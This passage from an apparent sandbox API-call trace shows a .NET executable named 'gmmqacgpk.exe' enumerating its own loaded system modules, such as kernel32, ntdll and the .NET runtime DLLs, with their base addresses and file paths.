out: lpmodinfo=0x282c008*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0033.183] GetLastError () returned 0x0 [0033.183] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0033.184] GetLastError () returned 0x0 [0033.184] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0033.184] GetLastError () returned 0x0 [0033.184] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x282d104, cb=0xc | out: lpmodinfo=0x282d104*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0033.185] GetLastError () returned 0x0 [0033.185] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0033.185] GetLastError () returned 0x0 [0033.186] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0033.186] GetLastError () returned 0x0 [0033.186] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x282e23c, cb=0xc | out: lpmodinfo=0x282e23c*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0033.187] GetLastError () returned 0x0 [0033.187] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0033.187] GetLastError () returned 0x0 [0033.187] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0033.188] GetLastError () returned 0x0 [0033.188] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x282f3c8, cb=0xc | out: lpmodinfo=0x282f3c8*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0033.189] GetLastError () returned 0x0 [0033.189] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0033.189] GetLastError () returned 0x0 [0033.189] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0033.190] GetLastError () returned 0x0 [0033.190] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x2830584, cb=0xc | out: lpmodinfo=0x2830584*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0033.191] GetLastError () returned 0x0 [0033.191] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0033.191] GetLastError () returned 0x0 [0033.191] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0033.192] GetLastError () returned 0x0 [0033.192] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x2831768, cb=0xc | out: lpmodinfo=0x2831768*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0033.192] GetLastError () returned 0x0 [0033.193] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0033.193] GetLastError () returned 0x0 [0033.194] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0033.194] GetLastError () returned 0x0 [0033.194] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x2832908, cb=0xc | out: lpmodinfo=0x2832908*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0033.195] GetLastError () returned 0x0 [0033.195] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0033.196] GetLastError () returned 0x0 [0033.196] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0033.196] GetLastError () returned 0x0 [0033.196] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x2833b2c, cb=0xc | out: lpmodinfo=0x2833b2c*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0033.197] GetLastError () returned 0x0 [0033.197] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0033.198] GetLastError () returned 0x0 [0033.198] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0033.198] GetLastError () returned 0x0 [0033.199] CloseHandle (hObject=0x200) returned 1 [0033.199] GetLastError () returned 0x0 [0033.217] lstrlenW (lpString="䅁") returned 1 [0033.282] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0x360380, nSize=0x80 | out: lpBuffer="C:\\Windows") returned 0xa [0033.282] GetLastError () returned 0x7f [0033.438] GetCurrentProcessId () returned 0xa60 [0033.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0033.439] GetLastError () returned 0x7f [0033.439] EnumProcessModules (in: hProcess=0x200, lphModule=0x28ce304, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x28ce304, lpcbNeeded=0x30cdb8) returned 1 [0033.440] GetLastError () returned 0x7f [0033.440] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x28ce444, cb=0xc | out: lpmodinfo=0x28ce444*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0033.440] GetLastError () returned 0x7f [0033.440] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0033.440] GetLastError () returned 0x7f [0033.440] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0033.441] GetLastError () returned 0x7f [0033.441] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x28cf58c, cb=0xc | out: lpmodinfo=0x28cf58c*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0033.441] GetLastError () returned 0x7f [0033.441] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0033.441] GetLastError () returned 0x7f [0033.441] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0033.441] GetLastError () returned 0x7f [0033.441] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x28d0680, cb=0xc | out: lpmodinfo=0x28d0680*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0033.442] GetLastError () returned 0x7f [0033.442] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0033.442] GetLastError () returned 0x7f [0033.442] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0033.442] GetLastError () returned 0x7f [0033.442] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x28d177c, cb=0xc | out: lpmodinfo=0x28d177c*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0033.442] GetLastError () returned 0x7f [0033.442] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0033.443] GetLastError () returned 0x7f [0033.443] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0033.443] GetLastError () returned 0x7f [0033.443] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x28d2880, cb=0xc | out: lpmodinfo=0x28d2880*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0033.443] GetLastError () returned 0x7f [0033.443] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0033.444] GetLastError () returned 0x7f [0033.444] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0033.444] GetLastError () returned 0x7f [0033.444] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x28d39bc, cb=0xc | out: lpmodinfo=0x28d39bc*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0033.444] GetLastError () returned 0x7f [0033.445] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0033.445] GetLastError () returned 0x7f [0033.445] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0033.445] GetLastError () returned 0x7f [0033.445] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x28d4ac0, cb=0xc | out: lpmodinfo=0x28d4ac0*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0033.445] GetLastError () returned 0x7f [0033.445] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0033.446] GetLastError () returned 0x7f [0033.446] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0033.446] GetLastError () returned 0x7f [0033.446] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x28d5bbc, cb=0xc | out: lpmodinfo=0x28d5bbc*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0033.446] GetLastError () returned 0x7f [0033.446] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0033.447] GetLastError () returned 0x7f [0033.447] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0033.447] GetLastError () returned 0x7f [0033.447] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x28d6cb8, cb=0xc | out: lpmodinfo=0x28d6cb8*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0033.447] GetLastError () returned 0x7f [0033.447] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0033.448] GetLastError () returned 0x7f [0033.448] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0033.448] GetLastError () returned 0x7f [0033.448] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x28d7e04, cb=0xc | out: lpmodinfo=0x28d7e04*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0033.448] GetLastError () returned 0x7f [0033.448] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0033.449] GetLastError () returned 0x7f [0033.449] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0033.449] GetLastError () returned 0x7f [0033.449] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x28d8f00, cb=0xc | out: lpmodinfo=0x28d8f00*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0033.449] GetLastError () returned 0x7f [0033.449] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0033.450] GetLastError () returned 0x7f [0033.450] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0033.450] GetLastError () returned 0x7f [0033.450] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x28da004, cb=0xc | out: lpmodinfo=0x28da004*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0033.451] GetLastError () returned 0x7f [0033.451] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0033.451] GetLastError () returned 0x7f [0033.451] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0033.451] GetLastError () returned 0x7f [0033.451] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x28db13c, cb=0xc | out: lpmodinfo=0x28db13c*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0033.452] GetLastError () returned 0x7f [0033.452] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0033.452] GetLastError () returned 0x7f [0033.452] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0033.452] GetLastError () returned 0x7f [0033.453] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x28dc238, cb=0xc | out: lpmodinfo=0x28dc238*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0033.453] GetLastError () returned 0x7f [0033.453] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0033.453] GetLastError () returned 0x7f [0033.453] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0033.454] GetLastError () returned 0x7f [0033.454] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x28dd32c, cb=0xc | out: lpmodinfo=0x28dd32c*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0033.454] GetLastError () returned 0x7f [0033.454] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0033.454] GetLastError () returned 0x7f [0033.455] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0033.455] GetLastError () returned 0x7f [0033.455] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x28de428, cb=0xc | out: lpmodinfo=0x28de428*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0033.455] GetLastError () returned 0x7f [0033.455] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0033.456] GetLastError () returned 0x7f [0033.456] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0033.456] GetLastError () returned 0x7f [0033.456] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x28df514, cb=0xc | out: lpmodinfo=0x28df514*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0033.457] GetLastError () returned 0x7f [0033.457] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0033.457] GetLastError () returned 0x7f [0033.457] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0033.458] GetLastError () returned 0x7f [0033.458] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x28e0698, cb=0xc | out: lpmodinfo=0x28e0698*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0033.458] GetLastError () returned 0x7f [0033.458] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0033.459] GetLastError () returned 0x7f [0033.459] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0033.459] GetLastError () returned 0x7f [0033.459] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x28e178c, cb=0xc | out: lpmodinfo=0x28e178c*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0033.460] GetLastError () returned 0x7f [0033.460] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0033.460] GetLastError () returned 0x7f [0033.460] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0033.461] GetLastError () returned 0x7f [0033.461] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x28e2880, cb=0xc | out: lpmodinfo=0x28e2880*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0033.461] GetLastError () returned 0x7f [0033.461] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0033.462] GetLastError () returned 0x7f [0033.462] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0033.462] GetLastError () returned 0x7f [0033.462] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x28e397c, cb=0xc | out: lpmodinfo=0x28e397c*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0033.463] GetLastError () returned 0x7f [0033.463] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0033.463] GetLastError () returned 0x7f [0033.463] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0033.464] GetLastError () returned 0x7f [0033.464] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x28e4ab4, cb=0xc | out: lpmodinfo=0x28e4ab4*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0033.464] GetLastError () returned 0x7f [0033.464] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0033.465] GetLastError () returned 0x7f [0033.465] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0033.465] GetLastError () returned 0x7f [0033.465] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x28e5c48, cb=0xc | out: lpmodinfo=0x28e5c48*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0033.466] GetLastError () returned 0x7f [0033.466] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0033.466] GetLastError () returned 0x7f [0033.466] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0033.467] GetLastError () returned 0x7f [0033.467] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x28e6d44, cb=0xc | out: lpmodinfo=0x28e6d44*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0033.467] GetLastError () returned 0x7f [0033.467] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0033.468] GetLastError () returned 0x7f [0033.468] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0033.468] GetLastError () returned 0x7f [0033.469] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x28e7e38, cb=0xc | out: lpmodinfo=0x28e7e38*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0033.469] GetLastError () returned 0x7f [0033.469] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0033.470] GetLastError () returned 0x7f [0033.470] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0033.470] GetLastError () returned 0x7f [0033.470] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x28e8f34, cb=0xc | out: lpmodinfo=0x28e8f34*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0033.471] GetLastError () returned 0x7f [0033.471] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0033.471] GetLastError () returned 0x7f [0033.471] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0033.472] GetLastError () returned 0x7f [0033.472] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x28ea0cc, cb=0xc | out: lpmodinfo=0x28ea0cc*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0033.473] GetLastError () returned 0x7f [0033.473] 